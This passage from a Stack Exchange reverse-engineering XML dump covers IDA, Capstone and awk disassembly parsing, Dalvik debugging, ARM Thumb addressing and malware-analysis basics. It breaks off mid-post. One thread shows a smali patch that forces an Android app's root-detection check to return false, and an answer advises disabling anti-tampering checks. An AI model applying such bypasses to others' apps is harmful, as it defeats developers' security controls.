  <row Id="13193" PostTypeId="2" ParentId="13192" CreationDate="2016-08-03T01:35:01.497" Score="0" Body="&lt;p&gt;The IDA database's representation of the binary code which sometimes takes a few liberties for the sake of analyzing the program logic.  One of those simplifications is the auto-creation of argument and local variable representation (arg_&lt;em&gt;, var_&lt;/em&gt;) that you see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get closer to a cleaner assembly representation, try &lt;a href=&quot;http://www.capstone-engine.org&quot; rel=&quot;nofollow&quot;&gt;Capstone&lt;/a&gt;.  If you identify the file offsets for the functions that you need to analyze using IDA (or some other disassembler), you can just feed those to Capstone to generate the disassembly.  Also, you can easily write an IDC script (IIRC, the free version of IDA doesn't come with IDAPython support) to dump out the instructions you need in binary form for each function you want to analyze, and pass that into Capstone to generate the disassembly.&lt;/p&gt;&#xA;" OwnerUserId="16966" LastEditorUserId="16966" LastEditDate="2016-08-03T01:44:46.957" LastActivityDate="2016-08-03T01:44:46.957" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="13194" PostTypeId="1" AcceptedAnswerId="13197" CreationDate="2016-08-03T03:05:45.347" Score="0" ViewCount="2362" Body="&lt;p&gt;I had some fun using IDA Pro Dalvik Debugger in the past using AVD emulator. &#xA;However I stumbled upon a APK that somehow does not run well inside AVD. APK runs fine on a real device so I am trying to use IDA Pro dalvik debugger to debug the APK on a real device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when using AVD all I had to setup was packagename and activity name in the &lt;code&gt;Debugger Setup -&amp;gt; Set specific options&lt;/code&gt; and debugger worked well but trying on a real device keep fails with message like &lt;code&gt;ADB error: listener 'tcp:239166' not found&lt;/code&gt; or &lt;code&gt;IDA started the application but unable to connect ..&lt;/code&gt; message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;adb forward&lt;/code&gt; on a port Dalvik debugger is using but no progress :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide help? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2016-08-03T06:03:26.117" Title="Howto setup IDA Pro Dalvik Debugger Process Options to debug APK on a real device" Tags="|ida|dalvik|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13196" PostTypeId="2" ParentId="13192" CreationDate="2016-08-03T05:56:38.693" Score="3" Body="&lt;p&gt;I assume you already have the assembly output produced by ida and want to parse test only if that is the case you can improvise this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming i copy pasted the &lt;code&gt;IDA.ASM&lt;/code&gt; in your post to a text file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can print all the disassembly lines only using the XXX below &#xA;if you are on windows you need the gnuwin32 port of the unix utilities used in path.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Suggestion 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details of the text file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wc -l ida.asm &amp;amp; echo. &amp;amp; head -n 2 IDA.ASM &amp;amp; echo. &amp;amp; tail -n 2 IDA.ASM &amp;amp; echo. &amp;amp; head -n 11 IDA.ASM | tail -1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;31 ida.asm&#xA;&#xA;.text:00401000                             ; =============== S U B R O U T I N E =======================================&#xA;.text:00401000&#xA;&#xA;.text:0040103E C3                                  retn&#xA;.text:0040103E                             sub_401000      endp&#xA;.text:00401000 55                                  push    ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Text parsing to isolate disassembly only from the said text file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tac ida.asm | awk &quot;{if(a[$1]++==0){print $0} }&quot; | sort&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;tac ida.asm | awk &quot;{if(a[$1]++==0){print $0} }&quot; | sort&#xA;.text:00401000 55                                  push    ebp&#xA;.text:00401001 8B EC                                   mov     ebp, esp&#xA;.text:00401003 83 EC 0C                                sub     esp, 0Ch&#xA;.text:00401006 89 4D F4                                mov     [ebp+var_C], ecx&#xA;.text:00401009 8B 45 F4                                mov     eax, [ebp+var_C]&#xA;.text:00401021 59                                  pop     ecx&#xA;.text:00401022 8B 45 F4                                mov     eax, [ebp+var_C]&#xA;.text:00401025 83 78 04 00                             cmp     dword ptr [eax+4], 0&#xA;.text:00401029 74 12                                   jz      short locret_40103D&#xA;.text:0040102B 8B 45 F4                                mov     eax, [ebp+var_C]&#xA;.text:0040102E 8B 40 04                                mov     eax, [eax+4]&#xA;.text:00401031 89 45 F8                                mov     [ebp+var_8], eax&#xA;.text:00401034 FF 75 F8                                push    [ebp+var_8]     ; void *&#xA;.text:00401037 E8 B8 0D 00 00                              call    ??3@YAXPAX@Z    ; operator delete(void *)&#xA;.text:0040103C 59                                  pop     ecx&#xA;.text:0040103D C9                                  leave&#xA;.text:0040103E                             sub_401000      endp.text:0040103E C3                                  retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Suggestion 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well as i commented if you could print the last line of a group based on first column comparison you can elieminate tac.&#xA;I searched around SO and found this &lt;a href=&quot;https://stackoverflow.com/questions/5429840/eliminate-duplicate-lines-and-keep-the-last-one&quot;&gt;print last line in each group of result based on comparison results of  first column only &lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I adapted it to the needs of this question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;awk &quot;{a[$1]=$0} END {for (i in a ) print a[i]}&quot; IDA.lst  | sort | awk &quot;{ print substr($0,42) }&quot; | tr -s [:blank:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; push ebp&#xA; mov ebp, esp&#xA; sub esp, 0Ch&#xA; mov [ebp+var_C], ecx&#xA; mov eax, [ebp+var_C]&#xA; pop ecx&#xA; mov eax, [ebp+var_C]&#xA; cmp dword ptr [eax+4], 0&#xA; jz short locret_40103D&#xA; mov eax, [ebp+var_C]&#xA; mov eax, [eax+4]&#xA; mov [ebp+var_8], eax&#xA; push [ebp+var_8] ; void *&#xA; call ??3@YAXPAX@Z ; operator delete(void *)&#xA; pop ecx&#xA; leave&#xA; sub_401000 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Suggestion 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar solution based on the suggestions above. This approach will additionally respects the last &lt;code&gt;retn&lt;/code&gt; statement and filters out comments (&lt;code&gt;;&lt;/code&gt;) at the end of the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -E &quot;^.{10,15} [0-9A-F]{2} *&quot; IDA.ASM | sort | cut -c40-200 | tr -s [:blank:] | cut -d &quot;;&quot; -f1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; push ebp&#xA; mov ebp, esp&#xA; sub esp, 0Ch&#xA; mov [ebp+var_C], ecx&#xA; mov eax, [ebp+var_C]&#xA; pop ecx&#xA; mov eax, [ebp+var_C]&#xA; cmp dword ptr [eax+4], 0&#xA; jz short locret_40103D&#xA; mov eax, [ebp+var_C]&#xA; mov eax, [eax+4]&#xA; mov [ebp+var_8], eax&#xA; push [ebp+var_8]&#xA; call ??3@YAXPAX@Z&#xA; pop ecx&#xA; leave&#xA; retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;H1&gt; Pure AWK Based Suggestion &lt;/H1&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an aversion to using n number of utilities to accomplish a job&lt;br&gt;&#xA;and i needed to brush up my &lt;code&gt;awkyquotient&lt;/code&gt; so here is an awk only code&lt;br&gt;&#xA;you may need to test rinse and repeat&lt;br&gt;&#xA;it seems to work for the copy paste of plain.asm    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ &#xA;    a[$1] = $0 ;                      # array a will contain last  entry in each group &#xA;    if(b[$1]++==0) c[$1] = $0;        # array c will contain first entry of each group&#xA;} END { &#xA;    n = asort(a); m = asort(c);       # sort both arrays&#xA;    if (n == m) {                     # some caution    &#xA;        for( k=1; k&amp;lt;=n; k++ ){     &#xA;            if(a[k]!= c[k]) {         # lets split input into 3 seperate arrays  &#xA;                d[k] = a[k]           # one where all entries except last is valid&#xA;                e[k] = c[k]           # one where only last entry is valid&#xA;            } else {&#xA;                f[k] = a[k]           # one where both arrays have same entries&#xA;            }&#xA;        }&#xA;    }&#xA;    o = asort(d); p = asort(e) ; q= asort(f) # sort all 3 arrays&#xA;    z = 1;&#xA;    while(z != o)    {&#xA;        g[z] = d[z]                  #insert final array with first n entries &#xA;        z++;                         #(except last entry)&#xA;    }&#xA;    y = 1;&#xA;    while(y != q+1) {&#xA;        g[z] = f[y]                  #insert final array with all equal entries &#xA;        z++;y++&#xA;    }&#xA;    x = p;&#xA;    while(x != p-1) {&#xA;        g[z] = e[x]                  # insert final array with last entry&#xA;        z++;x--&#xA;    }&#xA;    r = asort(g)                     # sort the final array and print substring&#xA;    startofdis = 44;                 # lets set a start    &#xA;    for (i = 1; i &amp;lt;= r; i++ ) {&#xA;    match(g[i] ,/;.*/);              # match everything after a ; (semicolon)&#xA;    if(RLENGTH == -1){               # awk should set the RSTART and RLENGTH&#xA;    print substr( g[i] ,startofdis)  # if RLENGHT == -1 no semicolon &#xA;    }                                # lets print from startofdis to end&#xA;    else&#xA;    print substr(g[i] , startofdis , RSTART-startofdis ) # print only the middle portion&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Result as follows&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;awk -f awky.txt ida.lst&#xA;        push    ebp&#xA;            mov     ebp, esp&#xA;            sub     esp, 0Ch&#xA;            mov     [ebp+var_C], ecx&#xA;            mov     eax, [ebp+var_C]&#xA;        pop     ecx&#xA;            mov     eax, [ebp+var_C]&#xA;            cmp     dword ptr [eax+4], 0&#xA;            jz      short locret_40103D&#xA;            mov     eax, [ebp+var_C]&#xA;            mov     eax, [eax+4]&#xA;            mov     [ebp+var_8], eax&#xA;            push    [ebp+var_8]&#xA;                call    ??3@YAXPAX@Z&#xA;        pop     ecx&#xA;        leave&#xA;        retn&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-08-05T15:06:02.703" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13197" PostTypeId="2" ParentId="13194" CreationDate="2016-08-03T06:03:26.117" Score="1" Body="&lt;p&gt;Setting the target app to &lt;code&gt;debuggable&lt;/code&gt; in the android manifest and repackaging the apk has done the job. I didn't know that AVD automatically sets the APK to debuggable. &lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2016-08-03T06:03:26.117" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13198" PostTypeId="1" AcceptedAnswerId="13200" CreationDate="2016-08-03T07:46:34.993" Score="0" ViewCount="1913" Body="&lt;p&gt;I'm trying to reverse an apk, overload some function and rebuild/sign it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should have done everything in the correct way; the only thing I edited is a function that check if the device is rooted.&#xA;The function is &lt;strong&gt;isRooted&lt;/strong&gt; and it calls other 3 functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  public static boolean isRooted()&#xA;  {&#xA;    return (checkRootMethod1()) || (checkRootMethod2()) || (checkRootMethod3());&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to change the &quot;smali-version&quot; of this function in that way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.method public static isRooted()Z&#xA;    .locals 1&#xA;&#xA;    .prologue&#xA;    .line 15&#xA;    invoke-static {}, Lcom/name1/name2/CtrlDevice;-&amp;gt;checkRootMethod1()Z&#xA;&#xA;    move-result v0&#xA;&#xA;    if-nez v0, :cond_0&#xA;&#xA;    invoke-static {}, Lcom/name1/name2/CtrlDevice;-&amp;gt;checkRootMethod2()Z&#xA;&#xA;    move-result v0&#xA;&#xA;    if-nez v0, :cond_0&#xA;&#xA;    invoke-static {}, Lcom/name1/name2/CtrlDevice;-&amp;gt;checkRootMethod3()Z&#xA;&#xA;    move-result v0&#xA;&#xA;    if-nez v0, :cond_0&#xA;&#xA;    const/4 v0, 0x0&#xA;&#xA;    :goto_0&#xA;    return v0&#xA;&#xA;    :cond_0&#xA;    const/4 v0, 0x0&#xA;&#xA;    goto :goto_0&#xA;.end method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only difference from the original version is that the cond_0 was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:cond_0&#xA;const/4 v0, 0x1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that I built an APK with &lt;strong&gt;apktool&lt;/strong&gt; and I signed it with &lt;strong&gt;jarsigner&lt;/strong&gt; and everything seems to be ok, but when I install the app on my device and I run it, after the splash it crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the question is really generic and I don't want a direct solution to this problem but I would like to know if is possible to implement something like a check that prevent to run the app after something has changed. Is possible something like that? How can I skip this check?&lt;/p&gt;&#xA;" OwnerUserId="16969" LastActivityDate="2016-08-03T11:19:59.263" Title="Reversed APK crashes after install" Tags="|android|java|apk|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13199" PostTypeId="2" ParentId="6922" CreationDate="2016-08-03T11:05:18.543" Score="11" Body="&lt;p&gt;edb is a cross platform x86/x86-64 debugger. It was inspired by Ollydbg, but aims to function on x86 and x86-64 as well as multiple OS's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/eteran/edb-debugger&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/eteran/edb-debugger&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11951" LastActivityDate="2016-08-03T11:05:18.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13200" PostTypeId="2" ParentId="13198" CreationDate="2016-08-03T11:19:59.263" Score="1" Body="&lt;p&gt;Yes it is possible to have anti-tampering checks, and I have seen apps with them. That being said, you should eliminate the simplest causes first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you check logcat? Most likely you accidentally screwed up the smali or otherwise messed up the apk. You should be able to see why the app crashed by checking logcat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you should check is whether the app works if you simply resign it with no code changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if it turns out that the app actually does have anti-tampering checks, you just have to reverse engineer it and disable the checks. There obviously isn't any one size fits all advice here, since anything you do is specific to the particular checks implemented.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2016-08-03T11:19:59.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13201" PostTypeId="1" AcceptedAnswerId="13202" CreationDate="2016-08-03T15:18:42.487" Score="3" ViewCount="9865" Body="&lt;p&gt;I am trying to patch a cydia tweak which has been developed by using Objective-C. I would like to modify a piece of code to suite my need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using IDA Pro V6.8 for my examining. After inspecting, I recognize that each Hex byte would represent a part of an assembly line code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Bellow is a screenshot for the code that I need to change.&lt;/em&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/I0Yb2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I0Yb2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the above screenshot, we need to have 8 bytes &lt;em&gt;(4A F2 A6 50 C0 F2 01 00)&lt;/em&gt; to represent a &quot;MOV&quot; instruction. Let's me say something about these 8 bytes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As I know, the first four bytes &lt;em&gt;(4A F2 A6 50)&lt;/em&gt; represent for &quot;#(cfstr_UnknownCallbac - 0x9F56)&quot; which you see in the screenshot.&lt;/li&gt;&#xA;&lt;li&gt;The two following bytes &lt;em&gt;(C0 F2)&lt;/em&gt; represent for an MOV instruction.&lt;/li&gt;&#xA;&lt;li&gt;The last two bytes &lt;em&gt;(01 00)&lt;/em&gt; would tell the system to move value from the string into the register, in this case, the register is R0.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have some concerns about the MOV instruction and the first four HEX bytes (4A F2 A6 50)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What does the &quot;0x9F56&quot; in the instruction means?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does the system know that the first four bytes reflect correctly to &quot;#(cfstr_UnknownCallbac - 0x9F56)&quot; not any other string variables?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;I need to create a new string and then I will use it to replace the existing &quot;#(cfstr_UnknownCallbac - 0x9F56)&quot;&lt;/em&gt;. I believe that I just need to replace the first four HEX bytes so that it would point to the new string, but I don't know what are the HEX codes should I have here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated, thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="16965" LastActivityDate="2016-08-03T19:04:20.297" Title="How do I change a string correctly in IDA Pro?" Tags="|patch-reversing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13202" PostTypeId="2" ParentId="13201" CreationDate="2016-08-03T18:06:22.613" Score="4" Body="&lt;p&gt;To understand what's happening, you need to learn about &lt;a href=&quot;https://en.wikipedia.org/wiki/Position-independent_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Position Independent Code&lt;/a&gt; (PIC). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, the compiler wants the executable code to be correct independent of where in memory it gets loaded. In the case of a shared library, the OS may load it at a different place every time; even if statically linked, PIC will make the linker's life easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;trick&quot; that's normally used on ARM processors to produce PIC is using PC (Program Counter) relative addresses. The compiler doesn't produce code that says &quot;the string is at address 0x123456&quot;, it produces &quot;the string is 0x1234 bytes behind this instruction&quot;. Thus, when the program is moved in memory, the &quot;0x1234&quot; stays the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is why your 2nd instruction adds the program counter to the relative address in R0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to know what &lt;code&gt;ADD R0, PC&lt;/code&gt; really does, you need to know how the processor works. The processor is in Thumb (2 byte instructions) mode as you can see from the 2 bytes difference between &lt;code&gt;9F52&lt;/code&gt; and &lt;code&gt;9F54&lt;/code&gt;, and when the processor executes the &lt;code&gt;ADD R0, PC&lt;/code&gt; instruction, the prefetch unit will already have read the first two bytes of &lt;code&gt;BLX _MSlog&lt;/code&gt;. So the PC that gets added is actually &lt;code&gt;9F56&lt;/code&gt;. This should answer your &lt;strong&gt;first question&lt;/strong&gt;: in the display of the opcode's meaning, IDA subtracts the value it knows to be added in the next instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second question&lt;/strong&gt;: I don't know the internals of IDA, but I'm 99% sure it looks for &lt;code&gt;ADD Rx, PC&lt;/code&gt; instructions, and produces a string reference like yours at the preceding instruction that loads &lt;code&gt;Rx&lt;/code&gt;, just because it knows this is the standard way of achieving PIC on ARM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third question&lt;/strong&gt;: Manually disasembling Thumb is hard - really hard - as you can see if you check the &lt;a href=&quot;https://ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thumb instruction set&lt;/a&gt;. And no, &lt;code&gt;4a f2 a6 50&lt;/code&gt; isn't just a data offset; it loads the lower 16 bits of the value, and &lt;code&gt;C0 F2 01 00&lt;/code&gt; loads the higher 16 bits of the value. The &lt;a href=&quot;https://www.onlinedisassembler.com/odaweb/6xokUFH4/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Online Disassembler&lt;/a&gt; translates those two sets of 4 byte instructions to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movw r0, #42406 ; 0xa5a6          &#xA;movt r0, #1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can read &lt;a href=&quot;https://stackoverflow.com/questions/7800055/movw-and-movt-in-arm-assembly&quot;&gt;here&lt;/a&gt; about the &lt;code&gt;movw&lt;/code&gt; and &lt;code&gt;movt&lt;/code&gt; instructions. IDA is friendly enough to show all of this as one single 8-byte instruction, but under the hood, a lot more is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you really want to change an offset like this, get familiar with the thumb manual I linked above, learn each and every bit, and assemble the new instructions manually. Or, just (ab)use the gnu assembler in the way I outlined in my answer to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9094/offset-calculation-for-branch-instruction-in-arm/9096#9096&quot;&gt;this question&lt;/a&gt;. Just write a bare minimum assembler snippet and have &lt;code&gt;as&lt;/code&gt; handle the gory details for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as @joxeankoret said: if you just want to change a string, and don't need the original string anwhere else, and the new string isn't longer than the old one, overwriting the string with the new one will be much easier than finding a place for your new string and adjusting the offsets. You can jump to that position by double clicking the label in IDA, or just scroll to the address &lt;code&gt;2FF4C&lt;/code&gt; (&lt;code&gt;1A5A6+9F56&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-08-03T19:04:20.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13204" PostTypeId="1" AcceptedAnswerId="13205" CreationDate="2016-08-04T01:34:15.200" Score="0" ViewCount="339" Body="&lt;p&gt;I am new to malware analysis .. and I was analyzing some 'windows' apps and found functions that I thought it exist only on malware, is this possible or there is something wrong with my analysis ? &#xA;I am using Cuckoo sandbox .. the functions are: &lt;code&gt;SetWindowsHookExA&lt;/code&gt;, &lt;code&gt;IsDebuggerPresent&lt;/code&gt; .. and others as well &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the app examples is &lt;strong&gt;AcroRd32.exe:&lt;/strong&gt; &#xA;It calls &lt;code&gt;IsDebuggerPresent&lt;/code&gt; .. and this is its page on virustotal including all the information related to the sample in addition to the MD5.&#xA;&lt;a href=&quot;https://www.virustotal.com/en/file/9e702e7b53f6f00e344a1cb42c63eaf4d52ed4adb5407744a654753569044555/analysis/&quot; rel=&quot;nofollow&quot;&gt;https://www.virustotal.com/en/file/9e702e7b53f6f00e344a1cb42c63eaf4d52ed4adb5407744a654753569044555/analysis/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15185" LastEditorUserId="2147" LastEditDate="2018-08-30T03:22:45.977" LastActivityDate="2018-08-30T13:07:25.400" Title="Can benign applications have such APIs?" Tags="|winapi|malware|benign|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13205" PostTypeId="2" ParentId="13204" CreationDate="2016-08-04T02:40:03.187" Score="6" Body="&lt;p&gt;&lt;code&gt;IsDebuggerPresent&lt;/code&gt; is found in most executables compiled with Visual C++ in the setup code that is executed before the main function. There are also legitimate use cases for &lt;code&gt;SetWindowsHookExA&lt;/code&gt;, so you will often see them in clean executables.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2016-08-04T02:40:03.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13206" PostTypeId="1" AcceptedAnswerId="13219" CreationDate="2016-08-04T15:21:24.103" Score="1" ViewCount="437" Body="&lt;p&gt;I'm interested in writing a network component to my IDAPython plugin, and QtNetwork looks really attractive, however it isn't include-able from IDAPython shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to add that functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-01-13T19:31:31.120" LastActivityDate="2017-01-13T19:31:31.120" Title="QtNetwork in IDA's PyQt5" Tags="|ida|idapython|python|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13209" PostTypeId="1" CreationDate="2016-08-04T23:08:38.417" Score="1" ViewCount="504" Body="&lt;p&gt;I'm trying to get the hang of IDA and I try to reverse engineer some code with a similar code [not 100% the same] to help me, I'm just using it to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I came accros this issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VbAO5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VbAO5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I convert this into a friendlier pointer format ?&#xA;This blocks me because this is not using the classic BASE+OFFSET format plus it's using two variables...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="16553" LastActivityDate="2016-08-04T23:08:38.417" Title="IDA pseudocode: [var*size+ var + offset] to [structure pointer] format" Tags="|ida|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13212" PostTypeId="1" AcceptedAnswerId="13266" CreationDate="2016-08-05T07:23:21.640" Score="2" ViewCount="261" Body="&lt;p&gt;There are several statistics and numbers out there of current malware families and their distributions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'am looking for statistics which shows the distribution of &lt;strong&gt;malware&lt;/strong&gt; differed by their &lt;strong&gt;obfuscation types&lt;/strong&gt;, i.e. current distribution of &lt;code&gt;encrypted&lt;/code&gt;, &lt;code&gt;oligomorphic&lt;/code&gt;, &lt;code&gt;polymorphic&lt;/code&gt;, &lt;code&gt;metamorphic&lt;/code&gt; in the wild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I mainly focused reports lastly published by AV vendors, but couldn't find anything useful.&lt;/p&gt;&#xA;" OwnerUserId="16998" LastEditorUserId="16998" LastEditDate="2016-08-11T20:56:24.410" LastActivityDate="2016-08-12T07:47:46.107" Title="Distribution of malware obfuscation types" Tags="|malware|obfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13213" PostTypeId="1" CreationDate="2016-08-05T10:57:08.140" Score="3" ViewCount="7841" Body="&lt;p&gt;I opened a simple reverse me windows application in ollydbg, then it shows the code for the &quot;ntdll&quot;. Since I want to view code and run &quot;ReverseMe&quot; I double clicked the &quot;ReverseMe&quot; on the &quot;Executable Modules&quot; window. Then it shows the code for the &quot;ReverseMe&quot;. But when I click &quot;run&quot; button, it runs the &quot;ntdll&quot;, I placed a break point on second line in &quot;ReverseMe&quot; but still it runs the &quot;ntdll&quot; and then it terminates after about 600 milliseconds and when I click the &quot;Entry&quot; tab under &quot;Executable Modules&quot; window, it shows that the &quot;entry&quot; is &quot;ntdll&quot; how to set the entry to &quot;Reverseme&quot; or if it cannot be changed or ntdll is the compulsory entry point, then suggest me a way to run the &quot;ReverseMe&quot;. And since I placed a break point at the very beginning of the &quot;ReverseMe&quot; it can't be a exit process on the code of the &quot;ReverseMe&quot; program. But it actually runs ntdll at first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Log data&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address    Message&#xA;           OllyDbg v1.10&#xA;&#xA;           File 'D:\Other\Reverse Engineering\studying.reversing.OLLY.debugger.video.tutorials\tutorials\snd-reversingwithlena-tutorial01.tutorial\files\reverseMe.exe'&#xA;           New process with ID 000000AC created&#xA;00401000   Main thread with ID 00001E60 created&#xA;77CEC6D0   New thread with ID 00000738 created&#xA;77CEC6D0   New thread with ID 000013D0 created&#xA;00400000   Module D:\Other\Reverse Engineering\studying.reversing.OLLY.debugger.video.tutorials\tutorials\snd-reversingwithlena-tutorial01.tutorial\files\reverseMe.exe&#xA;             CRC changed, discarding .udd 